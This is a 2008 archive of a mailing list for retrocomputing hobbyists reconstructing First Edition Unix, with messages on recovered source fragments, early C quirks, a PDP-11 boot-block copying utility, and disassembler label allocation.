M)K)UPF\3DNVE[2SBI\ROM0/G)8%>X2Q&K9OPEE-C=YFML!!:>%#W$.&=745V
M/B:>'F/I)%'>;KD",DI7!`5X at D-[T+;VRA)%KY(KAYS[2?A$#([5=62KNBXD
M#?A8^G0.?YOECS%:MG%O)*<!&73CQA0K(LF:CA7O>`AV3NU.FG#\A4]HJD\C
MN9HNN*@(75[F4R4SR0T;Y/<#E5DON[XK(>\:*3I6 at 3V.P%&'B:>/N at 5*=;_9
M6><O,++7:;P"@WV8>4Z,6GJ#B;N1W,ZA+#OC1AP:E'Y)A<[(,-HG"]HG-?ZY
M6#B3LW=3Y]N12&)C=,E=,::(9UAL)!V`@7"[[?9"HU\FS8<!)S:O5_7!D"Y"
M- at 5$G'<B2\=S2*^13:8<W")/H&=_MH>\F1S?RN]'9[TNQ7*S/#AG_&>OJM''
M&E#]^5MGI<-F>Y1JJ'_U_V=,<R1+)MX!Y4BFVR-:)YOCRUMTB11]%`4VGGC(
M69-YJ5]LYNO,+)NZ$62BR%YX\%-,0716YOG02?^@@8?'SF>9GO:XL?F8L/RF
M;^C#SG$[8EZO2+?%4^K4UV:?"7?U<5K-%_;ZT:'>NZLC]ASP%]=#8L!<U-9+
M331O`0T^W6L8::0/K4O<<59>VHBO>"Q$0JO8W-XE!EYR+R\])QZRR;^T"/KE
M]_)[^;W\7GXOOY??R^_E]_)[^;W\7GXOOY??R^_E]_)[^;W\7GXOOY??R^_E
M]_)[^;W\7GXOOY??R^_E]_)[^;W\7GXOOY??R^_E]_)[^3WQ]_\';U%52@`X
"!```
`
end


From wkt at tuhs.org  Thu May 15 11:10:54 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Thu, 15 May 2008 11:10:54 +1000
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <20080515010050.15AA45A525@remarque.org>
References: <20080515004822.GA2369@minnie.tuhs.org>
	<20080515010050.15AA45A525@remarque.org>
Message-ID: <20080515011054.GA2931@minnie.tuhs.org>

On Wed, May 14, 2008 at 06:00:50PM -0700, Doug Merritt wrote:
> This includes the ed2.s constructed from frag0 plus v5 ed2.s,
> which is therefore a less a reconstruction of lower fidelity.

Thanks Doug. I'll do a cross-check of both our efforts soon.
 
> What's next? Do we have OCR on the various manual sets? I'd
> like to reconstruct the roff input.

1st Ed: http://cm.bell-labs.com/cm/cs/who/dmr/1stEdman.html
2nd Ed: http://www.tuhs.org/Archive/PDP-11/Distributions/research/1972_stuff/unix_2nd_edition_manual.pdf
3rd Ed: http://www.tuhs.org/Archive/PDP-11/Distributions/research/Dennis_v3/v3man.tar.gz

The 3rd Ed ones are machine-readable roff format, so it would be possible
with some effort to recreate the 2nd Ed roof source using 3e and lots of
elbow grease. James Markevitch is working on an OCR of the 2e manuals, so
when his text version becomes available that would help the work.

> Still debugging my disassembler (and an ar tool with amazingly
> obstinate bugs; it should've been easy).

Let us know the progress: having a good disassembler would be very useful.

Cheers,
	Warren


From newsham at lava.net  Thu May 15 11:11:17 2008
From: newsham at lava.net (Tim Newsham)
Date: Wed, 14 May 2008 15:11:17 -1000 (HST)
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <20080515010050.15AA45A525@remarque.org>
References: <20080515010050.15AA45A525@remarque.org>
Message-ID: <Pine.BSI.4.64.0805141507100.22671@malasada.lava.net>

> What's next? Do we have OCR on the various manual sets? I'd
> like to reconstruct the roff input.

dmr OCR'd the first ed manuals and used those to generate ps and
pdf files:

http://www.cs.bell-labs.com/who/dmr/1stEdman.html

I don't know how accessible the raw text is in these formats, but
you could always ask him for the .doc sources if you needed something
more mallable.

>   Doug
> Professional Wild-eyed Visionary        Member, Crusaders for a Better Tomorrow

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Thu May 15 11:46:08 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Thu, 15 May 2008 11:46:08 +1000
Subject: [Unix-jun72] s1 fragments are now in the svn repository
Message-ID: <20080515014608.GA3761@minnie.tuhs.org>

I have just spent some time reconciling the differences between Doug's s1
fragment reconstruction and mine: we both had roughly the same # of errors,
and having the other's work was great. The repository has all the files in
src/cmd. I have not tried to assemble all of them yet, so any reports here
would be good. Remember, the C files will not compile with the existing
compiler.

Cheers,
	Warren


From wkt at tuhs.org  Thu May 15 12:34:26 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Thu, 15 May 2008 12:34:26 +1000
Subject: [Unix-jun72] s1 fragments are now in the svn repository
In-Reply-To: <20080515014608.GA3761@minnie.tuhs.org>
References: <20080515014608.GA3761@minnie.tuhs.org>
Message-ID: <20080515023426.GA5082@minnie.tuhs.org>

On Thu, May 15, 2008 at 11:46:08AM +1000, Warren Toomey wrote:
> I have just spent some time reconciling the differences between Doug's s1
> fragment reconstruction and mine: we both had roughly the same # of errors,
> and having the other's work was great. The repository has all the files in
> src/cmd. I have not tried to assemble all of them yet, so any reports here
> would be good. Remember, the C files will not compile with the existing
> compiler.

Most of the files assemble, and I've created a "mak" script to do so under
1st Edition. C files are out, they need a later language than the last1120c
compiler. We are missing some files for bas. The dc and form source uses
"new" instructions like mul and ashc, which the existing V1 "as" binary
does not understand, but the assembler in source code does understand,
so these may still be assembled.

	Warren


From doug at remarque.org  Thu May 15 13:03:45 2008
From: doug at remarque.org (Doug Merritt)
Date: Wed, 14 May 2008 20:03:45 -0700 (PDT)
Subject: [Unix-jun72] Observations about this ancient C dialect
In-Reply-To: <20080515014608.GA3761@minnie.tuhs.org>
Message-ID: <20080515030345.151AA5A525@remarque.org>

Warren wrote:
> Remember, the C files will not compile with the existing
compiler.

For your amusement, and in case it helps, below are the notes I took
on observations on the weirdness of this old C, from reading the C
files and the C compiler source code the first day of my start on
this project (Apr 18 -- long, long ago :-)

E.g. the "C preprocessor" didn't exist at the time, but
an "expand()" function was called on lines starting with '%',
to perform a non-recursive file inclusion.

(BTW I've spoken with John Reiser since then to check some history.
He said he arrived at BTL in 1977, and did much rewriting of cpp
largely because it was a buggy crock. That places him significantly
later than my previous understanding; I had thought he implemented
the original cpp championed by Snyder and designed by Lesk, but
perhaps...but no, Lesk wouldn't have cranked out cruft.  Hmm. Some
years ago Snyder more or less told me me he denied much involvement
in cpp, beyond pitching the idea of macro processing.  Could mean
any number of things. :-) Always seemed strange, though, since
McIlroy is the one with a large historical presence associated with
macro processing. History is confusing.)

I've used the pre-stdio "portable I/O library", although my
notes don't indicate so, and there are other real or apparent
signs of cluelessness. My own Unix involvement originally
went back only as far as version 6, and my memory is imperfect
anyway.

And there are plain errors. This is as-is.

See below.
	Doug
--
Professional Wild-eyed Visionary        Member, Crusaders for a Better Tomorrow
--------------------------------- cut here ------------------------

form1.s: daytab gives 29 days to february (changed to 28 in Unix v5 s1/form1.s),
perhaps confirming that this source code is from 1972 in particular,
which was a leap year.

cc.c:
	Exactly 2 flags (other cmd line "-" treated as input files):
		-c	produce .o, as today
		-2	Use Fortran startup,loader ( /lib/crt20.o )
				callsys("/usr/lib/ld20", av);
			library:
			av[2] = "/lib/20.s";
			callsys("/bin/ld", av);
	No C preprocessor; function expand() does include files
		marked by input lines starting with '%'
		Non-recursive.
		Appends SOH after each newline. Weird.
	Verbose; if more than 1 c file, then:
		printf("%s:\n", clist[i]);
	Automatically sets -c flag if expand() fails.
	(cflag causes early abort, no later stages)
		...ah, that just means "early exit"
		if (av[1] == 0) {
			cflag++;
	Passes:
		av[0] = "c0";
		av[1] = expand(clist[i]);
		if (callsys("/lib/c0", av)) {
		if(callsys("/lib/c1", av)) {
		callsys("/bin/as", av);
		moves .o to a.out before calling ld
		callsys("/bin/ld", av);
	tmp files:
		tries /tmp/ctm0[a...] until finds nonexisting creatable name
		That one is just used as filesys lock on this range of names
		Then uses /tmp/ctm[1..4]a for pass tmp files
	No '=' for init, e.g.
		char *tmp0 "//";
	Exotic keyboard interrupt handling:
		intr(delfil);
		...
		delfil:
			dexit();
	Single '&', '|' used for both bitwise and logical, e.g.
		return((status>>8) & 0377);
		if (nc==1 & nl==1)
		if(link("a.out", t) | unlink("a.out")) {
	Old style op-equals, e.g.
		s =- 3;
	Exotic file I/O, 259 int buffers:
		int ibuf1[259], ibuf2[259], obuf[259];
		if (fopen(file, ibuf1)<0) ...
		if (getc(ibuf1) != '%') {
		if (fcreat(tmp4, obuf) < 0) {
		while((creat(tmp0, 012))<0)
			tmp0[9]++;
		Buf struct:
			ibuf1[1]++;		/* back up over % */
			ibuf1[2]--;
			So file buf[1] -> avail count
			   file buf[2] -> first char index/ptr
			getc() decremented the first, incremented the second
			file buf[3] must hold the file descriptor
	Same process management as today; callsys uses:
		if ((t=fork())==0) {
			execv(f, v);
			printf("Can't find %s\n", f);
			exit(1);
		} else
			if (t == -1) {
				printf("Try again\n");
				return(1);
			}
		while(t!=wait(&status));
		if ((t=(status&0377)) != 0 & t!=14) {
			if (t!=12)		/* interrupt */
				printf("Fatal error in %s\n", f);
			dexit();
		}
		return((status>>8) & 0377);
cp.c:
	No structures; just array of int
		fstat(fold,buf);
		mode = buf[2] & 037;
	Return status survives func call, used as exit code:
		fstat(fnew,buf);
		exit();
ls.s:
	Uses both "jsr, r5" (mostly) and also 3 "jsr pc":
		jsr	pc,ctime	# external func
		jsr	pc,puid		# local func
		jsr	pc,do		# local func
	I think pc is with stack params and r5 is with funky
		param-in-next slot after jsr, mostly
	Indication of structure of stat() buffer ("dska" is perhaps
	"disk address"? "dska" also appears in frag0):
		mov     (r0)+,(r1)+     /flags
		mov     (r0)+,(r1)+     /nlinks, uid
		mov     r0,-(sp)
		mov     (r0),r0
		jsr     r5,calcb
		add     r0,tblocks
		mov     (sp)+,r0
		mov     (r0)+,(r1)+     /size
		add     $20.,r0         /dska, ctim
		mov     (r0)+,(r1)+     /mtim
		mov     (r0)+,(r1)+
		mov     statb,(r1)+     /inode
	uniq -d, -u:
	Routines defined and used within ls.s:
		calcb
		decimal
		do
		gstat
		mode
		pentry
		pstring
		puid
		questf
	Routines defined but not called:
		eloop		# branch target
		euidbuf		# data synonym
		listl		# branch target
		loop		# branch target
		nondir		# branch target
		pass2		# branch target
		pass3		# unused branch target
	Routines called but not defined:
		ctime
		flush
		fopen
		getc
		getw
		putc



From wkt at tuhs.org  Thu May 15 14:23:00 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Thu, 15 May 2008 14:23:00 +1000
Subject: [Unix-jun72] early C library source found
Message-ID: <20080515042300.GA12675@minnie.tuhs.org>

All, the file
http://www.tuhs.org/Archive/Applications/Early_C_Compilers/last1120c-bits.gz
which is a tap(I) tape image, contains a file called libc.sa, dated Jun 7 1972.
I never noticed until now, but it contains the source code to the C library for
the last1120c compiler. I've added it to the subversion repository under src/lib.

Cheers,
	Warren


From newsham at lava.net  Sun May 18 04:06:25 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 17 May 2008 08:06:25 -1000 (HST)
Subject: [Unix-jun72] UNIX V1 bootstrap
In-Reply-To: <200805111413.HAA16057@mist.magic.com>
References: <200805111413.HAA16057@mist.magic.com>
Message-ID: <Pine.BSI.4.64.0805170801270.22671@malasada.lava.net>

> I've ported the bootstrap stuff over the whole UNIX V1 build process.
> (Note: it would be nice to have a V1 as, so that all of these hacks
> we've been doing can go away).

Did you write bos.s and msys.s from scratch?   I noticed your
wunix contains no header, just the binary bits.  Was this standard
procedure in other versions of unix or is it possible that
the msys program took in an 0405 or 0407 and stripped the header
off before writing it?  Is there an easy way to strip the header
from within the unix system with standard commands?

> James Markevitch

Tim Newsham
http://www.thenewsh.com/~newsham/


From jam at magic.com  Sun May 18 11:04:48 2008
From: jam at magic.com (James A. Markevitch)
Date: Sat, 17 May 2008 18:04:48 -0700 (PDT)
Subject: [Unix-jun72] UNIX V1 bootstrap
Message-ID: <200805180104.SAA27787@mist.magic.com>

> > I've ported the bootstrap stuff over the whole UNIX V1 build process.
> > (Note: it would be nice to have a V1 as, so that all of these hacks
> > we've been doing can go away).
> 
> Did you write bos.s and msys.s from scratch?   I noticed your
> wunix contains no header, just the binary bits.  Was this standard
> procedure in other versions of unix or is it possible that
> the msys program took in an 0405 or 0407 and stripped the header
> off before writing it?  Is there an easy way to strip the header
> from within the unix system with standard commands?

I wrote bos.s and msys.s from scratch.  I am not aware of any binaries
or source for these.

bos is written in an entirely position-independent manner so that it can be
compiled with a v1 assembler, v2 assembler, etc. and still run when loaded
at location 54000 in core.  Other than the option to load a paper tape, I
believe this to be as true to V1 as possible.

msys was implemented to be as true to V1 as I believed possible.  It copies
images directly from disk without modifying them, as I believe the original
V1 msys did.  There is no header kludging, since a V1 a.out UNIX kernel
should be bootable without modification.

For wunix (warm unix), I took the build/loadfile, stripped off the
first 6 bytes, then copied the next 16K bytes, just as the boot/installboot
script does.

For building under UNIX itself, there are a variety of strategies.  Here
is my list, in order of preference:

1. Use the V1 assembler.  This will produce a 12-byte header that is
exactly compatible with the kernel source as it appears in the listing.  As
many people on this are aware, the first 12 bytes get manually patched
by the UNIX code when it starts up.  But, I don't think the V1 assembler
exists anywhere, or at least not that has been found.  That kind of makes
this option moot.

2. Modify the V2 assembler to produce V1 binaries.  If the V2 assembler
can be built from sources, then it should be straighforward to edit it
to produce V1 binaries (i.e. 405 instead of 407).  This would allow a
kernel in the true spirit of V1 to be created, then copied into the
boot area by msys.  It would also allow other programs to all be created
as V1 binaries, which has a lot of attraction to me.

3. Modify msys.s to be msys2.s to strip the 407 header and also truncate
the copy to not overrun the size of the area being copied into (1K, 6K,
6K, 3K).  I just tested a modified version of this and attached it below,
since that should help to get things going; but I really think that
option #2 would be nice to have eventually.

Note to use msys2, you need to copy build/a.out to fs/usr/boot/unix.out,
and to put msys2.s into fs/usr/boot/msys2.s.  Then after you boot, do:
	chdir /usr/boot
	as msys2.s
	mv a.out msys2
	msys2 u unix.out
I'll clean up the source and send a complete fs/usr/boot out later
tonight.

James Markevitch

--------------------------- fs/usr/boot/msys2.s -------------------------
/ msys2 -- copy file to RF read only slot
/
/ re-creation, based on description in UNIX_ProgammersManual_Nov71.pdf,
/ page 7-06, BOOT PROCEDURES (VII)
/ 5/9/08 jam at magic.com
/ 5/17/08 jam at magic.com -- hacked to copy 407-format a.out files

/ b bos		1700
/ u warm unix	1704
/ 1 cold unix	1734
/ 2 unassigned	1764

	mov	sp,r5
	mov	(r5)+,r3	/ argc
	cmp	$3,r3		/ must be 3
	bne	badcmd		/ else error
	tst	(r5)+
	mov	(r5)+,r4	/ get first arg

	cmpb	(r4),$'b
	bne	1f
	mov	$1700,r3
	mov	$4,r4
	br	2f
1:
	cmpb	(r4),$'u
	bne	1f
	mov	$1704,r3
	mov	$30,r4
	br	2f
1:
	cmpb	(r4),$'1
	bne	1f
	mov	$1734,r3
	mov	$30,r4
	br	2f
1:
	cmpb	(r4),$'2
	bne	badcmd
	mov	$1764,r3
	mov	$14,r4
2:

	/ open file
	mov	(r5),r5
	mov	r5,0f
	sys	open; 0:..; 0
	bes	error
	mov	r0,r1
	sys	seek; 20; 0
	bes	error

	/ open rf0 and seek to correct block
	sys	open; disk; 1
	bes	error
	mov	r0,r2
	mov	r3,0f
	sys	seek; 0:..; 0
	bes	error

	/ copy file from file to disk one block at a time
1:
	mov	r1,r0
	sys	read; buf; 512.
	mov	r0,r5
	mov	r2,r0
	sys	write; buf; 512.
	bes	error
	dec	r4
	beq	3f
	tst	r5
	bne	1b

3:
	sys	exit

error:
	mov	$1,r0
	sys	write; 1f; 2
	4
	sys	exit
1:
	<?\n>

badcmd:
	mov	$1,r0
	sys	write; 1f; 2
	4
	sys	exit
1:
	<?\n>

disk:
	</dev/rf0\0>
	.even

buf:	.=.+512.


From wkt at tuhs.org  Sun May 18 11:24:10 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 18 May 2008 11:24:10 +1000
Subject: [Unix-jun72] UNIX V1 bootstrap
In-Reply-To: <200805180104.SAA27787@mist.magic.com>
References: <200805180104.SAA27787@mist.magic.com>
Message-ID: <20080518012410.GA59280@minnie.tuhs.org>

On Sat, May 17, 2008 at 06:04:48PM -0700, James A. Markevitch wrote:
> For building under UNIX itself, there are a variety of strategies.  Here
> is my list, in order of preference:
> 
> 2. Modify the V2 assembler to produce V1 binaries.

I'm going to take a "devil's advocate" stance here, and argue to keep the
existing "as" binary untouched.

We have a bunch of userland executables which come from a point in time
after V1, including "as" and the C compiler. While we have kernel source
which is V1 on paper, we already have had to modify it to suit the userland
tools and the simulator. We will never get to a "pure V1" setup, so I would
prefer to see us aim for a "just after V1" system.

I'm fairly confident that, as V1 morphed into V2, they kept support for
0405 and 0407 in the kernel, but migrated the tools and boot chain towards
0407. Given we can't get back to pure V1, it would not hurt for us to have a
boot chain which can deal with 0407 headers.

Cheers,
	Warren


From doug at remarque.org  Sun May 18 13:23:48 2008
From: doug at remarque.org (Doug Merritt)
Date: Sat, 17 May 2008 20:23:48 -0700 (PDT)
Subject: [Unix-jun72] UNIX V1 bootstrap
In-Reply-To: <20080518012410.GA59280@minnie.tuhs.org>
Message-ID: <20080518032348.3D6E65A523@remarque.org>

Warren wrote:
> I'm going to take a "devil's advocate" stance here, and argue to keep the
> existing "as" binary untouched.

As first priority, certainly. We want to preserve original
data for posterity.

As second priority, there may be several possibilities.

A best-guess reconstruction of an approximation of V1
is one such additional possibility. Interpolation based
on noisy data sources is a time honored practice -- as
long as one carefully differentiates the results from
pristinely clean data.

I don't see one kind of reconstruction as inherently better
or worse than another kind; it depends on what the goal is.

I think Apout, for instance, is a *really* nice variation
on the usual approach of a closed-world simulation.

And certainly there are sharp limits on what we have available
right *now*, but I would be quite cautious about saying "never".
Additional data sources may become available; who knows.
	Doug
--
Professional Wild-eyed Visionary        Member, Crusaders for a Better Tomorrow


From jam at magic.com  Sun May 18 16:18:56 2008
From: jam at magic.com (James A. Markevitch)
Date: Sat, 17 May 2008 23:18:56 -0700 (PDT)
Subject: [Unix-jun72] UNIX V1 bootstrap
Message-ID: <200805180618.XAA28593@mist.magic.com>

> > For building under UNIX itself, there are a variety of strategies.  Here
> > is my list, in order of preference:
> > 
> > 2. Modify the V2 assembler to produce V1 binaries.
> 
> I'm going to take a "devil's advocate" stance here, and argue to keep the
> existing "as" binary untouched.

In any event, the msys2.s will work to install a V2-assembled kernel
into the boot area.

I've sent a new copy of the boot directory and fs/usr/boot to Warren and
Tim to install.  msys2.s is now the program to use to install the bootstrap
and the fs/usr/boot/unix.out file is a copy of build/a.out.

This means that if the kernel is assembled using the V2 assembler under
UNIX V1 itself, then the a.out from that assembly can be used directly
by msys2 to install into the boot area.

James Markevitch


From wkt at tuhs.org  Sun May 18 16:28:12 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 18 May 2008 16:28:12 +1000
Subject: [Unix-jun72] UNIX V1 bootstrap
In-Reply-To: <200805180618.XAA28593@mist.magic.com>
References: <200805180618.XAA28593@mist.magic.com>
Message-ID: <20080518062812.GA72790@minnie.tuhs.org>

On Sat, May 17, 2008 at 11:18:56PM -0700, James A. Markevitch wrote:
> I've sent a new copy of the boot directory and fs/usr/boot to Warren and
> Tim to install.  msys2.s is now the program to use to install the bootstrap
> and the fs/usr/boot/unix.out file is a copy of build/a.out.

Thanks James, I'll check it out tonight/tomorrow.
	Warren


From jam at magic.com  Mon May 19 00:56:53 2008
From: jam at magic.com (James A. Markevitch)
Date: Sun, 18 May 2008 07:56:53 -0700 (PDT)
Subject: [Unix-jun72] Kernel built under V1
Message-ID: <200805181456.HAA01901@mist.magic.com>

For fun, I tried building the kernel under V1 and booting it and it
looks like it simply works.

I did the following, outside the simulator:

        tools/assemv2
        mkdir fs/usr/kernel
        cp -pi build/u?.s fs/usr/kernel
        tools/imgbuild
        boot/installboot
        tools/pdp11 boot/simh.cfg

Then, I logged in as root and did:

        chdir /usr/kernel
        as u?.s
        chdir ../boot
        sh run
        msys2 u ../kernel/a.out

More realistically, the kernel should be built in /usr/sys.

James Markevitch


From newsham at lava.net  Mon May 19 04:04:15 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 18 May 2008 08:04:15 -1000 (HST)
Subject: [Unix-jun72] Kernel built under V1
In-Reply-To: <200805181456.HAA01901@mist.magic.com>
References: <200805181456.HAA01901@mist.magic.com>
Message-ID: <Pine.BSI.4.64.0805180801350.16752@malasada.lava.net>

> I did the following, outside the simulator:
>
>        tools/assemv2
>        mkdir fs/usr/kernel
>        cp -pi build/u?.s fs/usr/kernel
>        tools/imgbuild
>        boot/installboot
>        tools/pdp11 boot/simh.cfg

If you grab the latest svn sources the process is a lot simpler.
You just have to

        cd build
        make
        <cp extra files into root or usr>
        rm protofs
        make install

but the extra commands aren't necessary because in the latest Makefile
we're installing /usr/src with the commands sources and /usr/sys with
the kernel sources.

>        msys2 u ../kernel/a.out

Great!

> James Markevitch

Tim Newsham
http://www.thenewsh.com/~newsham/


From angus at fairhaven.za.net  Tue May 20 03:35:48 2008
From: angus at fairhaven.za.net (Angus Robinson)
Date: Mon, 19 May 2008 19:35:48 +0200
Subject: [Unix-jun72] [TUHS] Some fun with 1st ed
In-Reply-To: <20080503192943.GC69106@freebie.xs4all.nl>
References: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>	<20080503192359.GA11882@bitmover.com>
	<20080503192943.GC69106@freebie.xs4all.nl>
Message-ID: <4831BA74.5040001@fairhaven.za.net>

An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080519/5e492524/attachment.html>

From doug at remarque.org  Tue May 20 15:16:28 2008
From: doug at remarque.org (Doug Merritt)
Date: Mon, 19 May 2008 22:16:28 -0700 (PDT)
Subject: [Unix-jun72] status on disassembler
In-Reply-To: <Pine.BSI.4.64.0805180801350.16752@malasada.lava.net>
Message-ID: <20080520051628.379B75A525@remarque.org>

Interim status on disassembler:

Usually we think "crank out opcodes and operands, how hard could it be?"

But for our effort, we really would like to have disassembly produce
something as close to the original source code as possible, including
many things such as which parts are code versus data, and much else.

It turns out there is in fact "much else", and I have been addressing
all that, starting from the basic "decode opcodes and operands"
disassembler of Jeffery L. Post.

My initial efforts are directed at disassembling s2 programs and
comparing them to reconstructed s1 sources. This is a rich experimental
playground, for now.

It's coming along very nicely, but there are a lot of "little"
issues, and I will only skim the surface here.

It understands all v1 syscalls, and disassembles appropriately.

It generates all needed "not in assembler" syscall definitions, when used.

My first approach to "temporary labels" (1f/1b, see Knuth) failed badly;
if anyone has insights on how such things should be disassembled,
please tell me; I'm still mentally going through various possible
algorithms.

Currently it supports a "directives file" to insert human-defined labels
and parameter types. The latter successfully disassembles constructs
of the form
     jsr  f5, mesg; <This is a mesg\n\0>

...after being told that address (say 0200) equals "mesg" and that
that subr takes a jsr_r5 parameter of type asciz.

It does other cool stuff, too, but alas, still fails in all sorts
of horrible ways, e.g. in not being aware of the difference between
rvals and lvals when it should.

In general, I'm trying to automate any aspects of disassembly that
can be, to avoid needing human intervention. Doing so increases
the fidelity of the reconstruction: minimizing intervention
is inherently desirable, for historical reconstruction.

Another example of philosophy: it converts BCS to BES if it follows a syscall.

In short, it is pretty cool in certain regards, but is not ready
for prime time by any means. It's not beta, it's not alpha, it's
prototype -- but pretty promising.

Handling simple BSS issues is another TODO example (probably next on my list)

Just thought I should report on current progress, since
people get impatient sometimes. Feedback appreciated.
   Doug
--
Professional Wild-eyed Visionary        Member, Crusaders for a Better Tomorrow


From wkt at tuhs.org  Tue May 20 17:39:07 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Tue, 20 May 2008 17:39:07 +1000
Subject: [Unix-jun72] status on disassembler
In-Reply-To: <20080520051628.379B75A525@remarque.org>
References: <Pine.BSI.4.64.0805180801350.16752@malasada.lava.net>
	<20080520051628.379B75A525@remarque.org>
Message-ID: <20080520073907.GA87633@minnie.tuhs.org>

On Mon, May 19, 2008 at 10:16:28PM -0700, Doug Merritt wrote:
> Interim status on disassembler:
> My first approach to "temporary labels" (1f/1b, see Knuth) failed badly;
> if anyone has insights on how such things should be disassembled,
> please tell me; I'm still mentally going through various possible
> algorithms.

Doug, I was also halfway through a disassembler. I take a 2-pass approach.
On the 1st pass I collect interesting addresses, e.g. for jsrs, branches
etc. Then I allocate labels based on address order. Then on the second
pass I use the labels when printing. I'll send you a copy of the work
so far.

Cheers,
	Warren


From newsham at lava.net  Wed May 21 05:49:09 2008
From: newsham at lava.net (Tim Newsham)
Date: Tue, 20 May 2008 09:49:09 -1000 (HST)
Subject: [Unix-jun72] status on disassembler
In-Reply-To: <20080520051628.379B75A525@remarque.org>
References: <20080520051628.379B75A525@remarque.org>
Message-ID: <Pine.BSI.4.64.0805200944091.16752@malasada.lava.net>

> My first approach to "temporary labels" (1f/1b, see Knuth) failed badly;
> if anyone has insights on how such things should be disassembled,
> please tell me; I'm still mentally going through various possible
> algorithms.

This is a standard register allocation problem (ie. assigning registers to 
variables when compiling a program).  You need to figure out over which 
ranges of the program the labels are "live".  Then you need to figure out 
which ones are live at the same time and build a graph of which labels 
cannot share the same label.  Then you go through and start assigning 
labels in a way that fits this constraint.

http://en.wikipedia.org/wiki/Register_allocation
http://en.wikipedia.org/wiki/Graph_coloring

Should be covered in compilers text books.

>   Doug

Tim Newsham
http://www.thenewsh.com/~newsham/


From doug at remarque.org  Wed May 21 17:44:39 2008
From: doug at remarque.org (Doug Merritt)
Date: Wed, 21 May 2008 00:44:39 -0700 (PDT)
Subject: [Unix-jun72] status on disassembler
In-Reply-To: <Pine.BSI.4.64.0805200944091.16752@malasada.lava.net>
Message-ID: <20080521074439.9D3575A52C@remarque.org>

Tim Newsham wrote:
> This is a standard register allocation problem (ie. assigning registers to 

Thanks for the thought, but I don't think it is, quite, in part because
of the presence of backward branches:

2:
	br	1f
	br	2b
1:

Here the 2 could be a 1, despite overlapping ranges:

1:
	br	1f
	br	1b
1:

In standard register allocation, live/dead ranges are forward only:

	mov	$0,r0
	mov	$1,r1
	mov	r0,(sp)+
	mov	r1,(sp)+

r0 and r1 cannot be subsumed into a single register (completely
ignoring the possibility of other optimizations as off topic here).

Perhaps that's merely a superficial difference, but it's enough
to confuse my thinking so far, if so.

To further complicate things, it would be especially nice to allocate
labels not just in a legal way (that preserves the semantics of the
program), but actually in a way as similar as possible to the way that 
humans were doing so, for the sake of improved reconstruction. (A
complication with *that* is that, in some cases, the labels are
obviously subtopimal, presumably due to the historical sequence of edits.)

Some adaptation of e.g. graph coloring might conceivably do fine at the
former but not the latter, so if I succeeded at the first I would
still want to keep improving it in the direction of the second.

P.S. And obviously it would yield to a big enough hammer (dynamic
programming, exhaustive backtracking, genetic algorithms, simulated
annealing, etc), but I dislike the idea. I'm currently pondering
establishing a partial order and using a nice simple topological sort,
and/or attempting a simulation of how a human might go about it --
which might end up being the simplest way to accomplish both goals.
	Doug
--
Professional Wild-eyed Visionary        Member, Crusaders for a Better Tomorrow


From brad at heeltoe.com  Wed May 21 19:49:25 2008
From: brad at heeltoe.com (Brad Parker)
Date: Wed, 21 May 2008 05:49:25 -0400
Subject: [Unix-jun72] status on disassembler
In-Reply-To: <20080521074439.9D3575A52C@remarque.org> 
References: <20080521074439.9D3575A52C@remarque.org>
Message-ID: <27294.1211363365@mini>


Doug Merritt wrote:
>Tim Newsham wrote:
>> This is a standard register allocation problem (ie. assigning registers to 
>
>Thanks for the thought, but I don't think it is, quite, in part because
>of the presence of backward branches:
>
>2:
>	br	1f
>	br	2b
>1:
>
>Here the 2 could be a 1, despite overlapping ranges:
>
>1:
>	br	1f
>	br	1b
>1:

I'm confused.  Those are both the same, aren't they?

Isn't the simplest thing to do 2 passes and generate numeric labels as
needed?  i.e.

L0001:
	br	L0002
	br	L0001
L0002:

That's ugly, but it's correct and will assemble so I'd start there.

Once you have that, and you have all the code in memory as some sort of
tree, it should be possible to make a pass an attempt to clean this
up a little.

Here's a snipped of real code, with the uninteresting parts turned into "..."

badsys:
	...
	mov	$3f,u.namep
	...
	br	1f
	...
	br	2f
1:
	...
2:
	br	sysexit
3:
	<core\0\0>

-------

badsys:
	...
	mov	$L0001,u.namep
	...
	br	L0002
	...
	br	L0003
L0002:
	...
L0003:
	br	sysexit
L0001:
	<core\0\0>

You should be able to scan the code and check for references to each
location.  Assume for a second you have an vector with one entry for
each instruction location.  You could then chain references off each
element.  With that information you could tell the "lifetime" of a
label. i.e.  at L0001 above you could look and decide that that no one
else referenced it going forward.

I would think that as you scanned that vector from beginning to end you
could keep a count of active references, and use that to reset your
local label number.

Let's try it.

   badsys:
01	...
02 	mov	$L0001,u.namep
03	...
04	br	L0002
05	...
06	br	L0003
   L0002:
07	...
   L0003:
08	br	sysexit
   L0001:
09	<core\0\0>
10


01
02 uses L0001      +1
03
04 uses L0002      +2
05
06 uses L0003      +3
07 defines L0002   +2; look forward, no refs to L0002 so decrement
08 defines L0003   +1; look forward, no refs to L0003 so decrement
09 defines L0001   0; look forward, no refs to L0001 so decrement
10

I'm probably trivializing it, but I'm willing to put my money where my mouth
is if you want me to take a look at your code.

I think it has to be a 2 pass operation, however. I think this is true of
any good disassembler; they are generally multiple pass.  Deciding where
the "data" is sometimes takes a little work, which can sometimes be
a heuristic like "it looks like ascii and there is a reference to it",
so having a tree of references generally helps.

This is not unlike binary recompilation where you follow each possible
code path to a terminal node.

-brad



From brad at heeltoe.com  Wed May 21 23:40:41 2008
From: brad at heeltoe.com (Brad Parker)
Date: Wed, 21 May 2008 09:40:41 -0400
Subject: [Unix-jun72] status on disassembler
In-Reply-To: <20080521074439.9D3575A52C@remarque.org> 
References: <20080521074439.9D3575A52C@remarque.org>
Message-ID: <30985.1211377241@mini>


Doug Merritt wrote:
>
>In standard register allocation, live/dead ranges are forward only:

I think I figured out one way to assign local labels.  Basically I
discover the "span" of each reference.  I only concider small spans.  I
